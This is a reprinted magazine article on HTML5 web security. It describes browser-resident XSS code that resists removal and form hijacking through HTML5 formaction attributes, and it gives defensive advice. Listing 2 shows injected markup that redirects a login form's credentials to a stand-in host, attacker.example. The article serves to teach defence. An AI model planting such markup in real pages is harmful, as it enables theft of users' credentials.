By Carsten Eilers
Removal is Difficult
Rootkits have two main objectives: to evade detection and to prevent their elimination. And that’s not only valid on PCs or servers, but also in cases of browser based rootkits for web applications. Even if the attack is detected, the removal of the malicious code on the client is difficult. As long as there is an open tab or window to the web application domain with the malicious code in it, this malicious code can manipulate the current session. A refresh of the page, triggered by metatag or Ajax, may be waived by the malicious code.
The web application cannot even warn the user of the on-going attack, as the malicious code can suppress or tamper with this warning. Also, getting rid of the malicious code is not as easy as you might think: closing the tabs of the attacked application is useless if the malicious code is running in other tabs or hidden frames in the context of this web application. Also, closing all browser windows and exiting the web browser does not eliminate the malicious code, if it was stored in the Local Storage, SQL Database or the local cache. If the user deletes the Local Storage while there are still open tabs or windows running the malicious code, it will restore itself in the Local Storage immediately. Artur Janc thinks the following procedure is a possible solution:
- Close all browser windows except one.
- Close all tabs in the window except one.
- In this remaining tab, call about:blank.
- Delete all data the web application has stored on the client: cookies, caches, Local Storage, SQL database, Local Shared Objects from the Flash player, etc.
- Restart the browser.
How would you explain this to a user? And what right-minded user would do this? An alternative way is to simply delete the affected browser profile. But what user would do this?
Protection Against Resident XSS
Protecting against Resident XSS is simple in theory, though the implementation may be a little tricky: avoid all XSS vulnerabilities. For the server side, the old, reliable methods are working fine. For the client side, you must choose. Don’t use user-controllable parameters, and you are on the safe side. If you use them, you have two possibilities: first, accept only known good values (in other words, use a whitelist); second, check for malicious content (and therefore first define what input is malicious, known as blacklist) and encode the input.
Forms Going Astray
HTML5 allows all form elements such as buttons, input boxes, etc. to bind themselves to a form on the page, regardless of the position of the form. This might look like Listing 1.
Combined with XSS or malicious adverts, this allows new social engineering attacks. In addition, there are new attributes for tags like button or submit that allow further attacks:
- formaction changes the target of the form (the action attribute of the form tag).
- formenctype changes the data encoding of the form.
- formmethod changes the method attribute of the form tag – a GET form becomes a POST form and vice versa.
- formtarget changes the target attribute of the form tag, the window in which the action URL is opened.
An attacker with the ability to execute JavaScript on a web page (for example via an XSS vulnerability or by a malicious ad) can manipulate all forms on this page. For example, he can ensure that the completed forms are sent to his server. Consider the example in Listing 2.
The button appears as the specified alluring image. When the user clicks on the image while the form is filled, the browser will send his credentials to the attacker.
Listing 2: A manipulated form
... <form id=”login” action=”login.asp” method=”post”> Username: <input name=”name”> <br> Password: <input name=”pass”> <br> <input type=”submit” value=”login”> </form> <p> Some text, nothing is wrong until now… </p> <– Here comes the malicious advertising, which injects code –> <button type=”submit” form=”login” formaction=”http://attacker.example/ collect.php”> <img src=”http://attacker .example/luring-pic.jpg”> </button> <- End of the injected code -> ...
You think that’s a contrived example? Have you never entered credentials somewhere, but then changed your mind and instead clicked on a link or an image on the page? For example, if you discover some interesting news on a webmail portal while logging in to the site?
Imagine you want to log in to a portal or social network, and suddenly you see a picture that says that you have been selected as the x-thousandth visitor as a recipient of a free iPhone. You think nobody’s fooled by such nonsense? Then why are there so many similar adverts? Someone must click on them, or they wouldn’t be there.
Protection Against the Attack
First the old Atari slogan: it’s not a bug, it’s a feature. The forms and their element should work as described. To prevent attacks, you must protect the pages against manipulation: don’t have an XSS vulnerability (that’s self-evident) and don’t have malicious advertising. And that’s the problem: how do you prevent manipulated advertising after a compromise of the ad server, which is normally out of your control?
Conclusion
With HTML5 you can do many wonderful things. On the other hand, an attacker can do many terrible things. Everything you can use to benefit the users, an attacker can use against them. The two points above are only two of many possible attacks.
But this is not really news. Attacks on web applications are nearly as old as web applications themselves, and since the invention of “Web 2.0” and Ajax we have had more and more attacks on the web client. And now, with the spread of HTML5, we get attacks on this new technology. As always, you have to learn two things: how to use the new technology and how to prevent attacks on it. Nothing new at all – so be prepared to repel attacks.
About the Author
Carsten Eilers is a freelance consultant and coach on IT security and technical data protection. His work focuses on the security of web applications, local networks and individual client computers. He is not only a regular contributor to German publications PHP Magazin and Entwickler Magazin, but also writes for other magazines and online media. He can be contacted at http://www.ceilers-it.de, and has a blog containing articles on IT security fundamentals and commentaries relating to current developments at http://www.ceilers-news.de. Carsten is the author of http://developerpress.com/en/html5-security-carsten-eilers HTML5 Security – Developer.Press.
This article was reprinted with permission from http://developerpress.com/ Developer.Press.
